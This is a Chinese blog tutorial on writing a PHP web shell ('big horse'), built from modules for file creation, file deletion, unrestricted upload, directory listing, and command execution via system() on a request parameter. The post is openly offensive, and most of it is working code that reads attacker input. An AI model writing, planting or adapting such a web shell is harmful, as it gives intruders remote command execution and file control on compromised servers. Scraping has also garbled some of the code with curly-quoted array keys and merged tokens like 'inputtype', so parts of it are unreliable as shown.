1. 程式人生 > >帶你走進php大馬的結構模塊編寫之路

帶你走進php大馬的結構模塊編寫之路

win 9.png eat tag readdir cat 寫入 r+ 努力

本文原創作者:Laimooc

第一部分:前沿綜述

本次我主要寫了【文件的創建】、【文件的刪除】、【文件的上傳】、【目錄瀏覽】、【命令執行】小模塊,以及【組合的目錄瀏覽和文件刪除功能】的模塊:

技術分享圖片

實驗環境:

系統環境:winserver 12 r2 datacenter

腳本運行環境:PHP version7.0.24

第二部分:代碼編寫講解

【文件創建】

作者是借助form表單值傳遞,以及使用fopen和fwrite進行創建文件的。

具體的研究過程,我們結合代碼來說明:

<form  method="" action="">
Filename:<inputtype="text" name="file" value="" /> 

這裏我們是使用input標簽,設定name值(這個,我們後面的php腳本中需要使用的,需要記住):

技術分享圖片

我的代碼如下,大家請指導:

File_content:<inputtype="textarea" name="file_content"style="width:300px;" value="" />

這裏我們是接受form表單傳遞你要寫的文件內容,有想深入的表格,可以對內容的寫入上做出一些編碼解碼等的操作

<input type="submit" name="submit" value="Create">
這裏是提交按鈕
</form>
<?php
error_reporting(0);
//這裏我們設置了錯誤等級為0
$filename=$_REQUEST[‘file‘];
//這裏接受我們的文件名字
$file_content=$_REQUEST[‘file_content‘];
//這裏接受我們的文件內容
$myfile =fopen($filename, "a") ;
//這裏打開你事先設定的文件,如果沒有會創建一個新的(由寫入屬性a a+ w w+ r r+ ab ab+等控制)
fwrite($myfile,$file_content);
//這裏執行fwrite函數寫入內容
fclose($myfile);
//關閉寫入的文件
?>

技術分享圖片

【文件刪除】

下面是我們的刪除文件代碼,依然是借助了form表單,這樣主要是為了操作起來方便,不用form表單也可以操作,只是比較麻煩(get或者post請求等)

代碼如下:

技術分享圖片

<form  method="" action="">
Filename:<inputtype="text" name="delfile" value="">
<inputtype="submit" name="submit" value="delete">
</form>
form表單的意思同上述我們闡述的意思,不再介紹,不懂的同學,可以下方留言給我,第一時間必回復
<?php
error_reporting(0);
//刪除文件
$delfile=$_REQUEST[‘delfile‘];
if(!isset($delfile)){
       exit;//判斷是否設定了delfile
}
else{
       if (!unlink($delfile))
  {
  echo ("Error delete $delfile");
  //如果沒有權限等其他原因文件未刪除時候的信息
  }
else
  {
  echo ("Deleted $file");
  //刪除成功的返回
  }
}
/*
使用方法:finame中輸入1.txt 表示當前文件夾下的文件,可以輸入指定文件夾中的文件如:/upload/1.txt ,即可。
刪除成功的話:返回Deleted fiel 失敗的話返回ErrorDelete。。。
*/
?>

技術分享圖片

【文件上傳】

文件的上傳,這個是大家應該比較多見的了,文件類型的限制啦、存儲等(如果作大馬的話,當然是任意文件上傳啦),不再詳細的解釋直接展示一下代碼,如果大家有什麽不懂之處也可以在下方留言給我:

技術分享圖片技術分享圖片

代碼如下:

<form action="" method="post" enctype="multipart/form-data" />
<label for="userfile">Upload file</label>
<input type="file" name="file" id="file"/>
<input type="submit" value="send file"/>
</form>

<?php
error_reporting(0);
//設置允許上傳的mime類型,直接刪除下面一段代碼的話,則是任意文件上傳
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "text/plain")
|| ($_FILES["file"]["type"] == "application/octet-stream")))
  {
  if ($_FILES["file"]["error"] > 0)
    {
    echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
    }
  else
    {
    echo "Upload: " . $_FILES["file"]["name"] . "<br />";//獲取文件名稱
    echo "Type: " . $_FILES["file"]["type"] . "<br />"; //獲取文件類型
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";//獲取文件大小
    echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";//文件上傳時的暫存目錄
    //判斷文件是否已經存在
    if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
              //從緩存目錄move文件到要上傳的目錄
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $_FILES["file"]["name"]);
      echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
      }
    }
  }
else
  {
  exit;
  }
?>

【目錄瀏覽】

文件的瀏覽,我還沒有仔細的研究,有深入研究的朋友,可以在下方回復代碼哇,一起進(fei)步(sheng),我的代碼比較垃圾:我直接指定了要遍歷的文件目錄,在編寫的過程中,我發現如果目錄不存在的話,會直接瀏覽器占用資源崩潰!!!

技術分享圖片

<?php
error_reporting(0);
header("Content-type:text/html; charset=utf8");
//讀取指定目錄 upload
$current_dir=‘upload‘;
$dir =opendir($current_dir);
echo ‘本文件:‘,dirname(__FILE__),‘\\‘,basename(__FILE__),‘<br/>‘;
//echo ‘當前文件:‘,__FILE__ ,‘<br/>‘ ;
while(false !==($file = readdir($dir))){
       if($file != "." &&$file !=".."){
              echo"<li>$file</li>";
       }
}
closedir($dir);
?>
此外,參考了別人的dir()函數和getcwd(),覺得挺不錯的,可以結合使用,大家可以改造一下。
<?php
$d =dir(getcwd());
echo "Handle:" . $d->handle . "<br>";
echo "Path:" . $d->path . "<br>";
while (($file =$d->read()) !== false){
  echo "filename: " . $file ."<br>";
}
$d->close();
?>

【命令執行】

命令執行,這是一個好玩的東西,php給了我們一些直接可以執行系統命令的函數: exec()、passthru()、system()、 shell_exec() 還有一個神奇的:反引號。

反引號,聽起來尬不?

我的研究是使用system進行執行命令的,然後結合form表單進行值傳遞,主要還是為了表單的美觀:

技術分享圖片

代碼如下:

<form method="" action="">
Command:<input type="text"name="exec" value="">
<input type="submit"name="submit" value="exec">
</form>

<?php
error_reporting(0);
$exec = $_REQUEST[‘exec‘]; //接收form表單傳遞過來的命令
system($exec);//可以替換為其他的執行函數
?>

【組合的目錄瀏覽和文件刪除功能】

本小節是為了拋磚引玉,整體的變幻構造組合等,需要大家共同努力,直接展示一下代碼:

代碼如下:

<?php
error_reporting(0);
header("Content-type: text/html; charset=utf8");
//讀取指定目錄 upload
$current_dir =‘upload‘;
$dir = opendir($current_dir);
echo ‘本文件:‘,dirname(__FILE__) ,‘\\‘,basename(__FILE__),‘<br/>‘;
//echo ‘當前文件:‘,__FILE__ ,‘<br/>‘ ;

while(false !== ($file = readdir($dir))){
        if($file != "." && $file !=".."){
                echo "<li>$file</li>";
        }
}
closedir($dir);
?>

<form  method="" action="">
Filename:<input type="text" name="delfile" value="">
<input type="submit" name="submit" value="delete">
</form>

<?php
//刪除文件
$delfile=$_REQUEST[‘delfile‘];
if(!isset($delfile)){
        exit;
}
else{
        if (!unlink($delfile))
  {
  echo ("Error deleting $delfile");
  }
else
  {
  echo ("Deleted $file");
  }

}
?>

第三部分:文章總結技術分享圖片

技術分享圖片

本次研究是繼雙十一之夜,睡不著覺,就來發了一篇文章,希望得到大家的指導,路過請留言,一帶一路。

附件回原文下載<<<<<<<<

>>>>>>黑客入門必備技能 帶你入坑,和逗比表哥們一起聊聊黑客的事兒,他們說高精尖的技術比農藥都好玩!

帶你走進php大馬的結構模塊編寫之路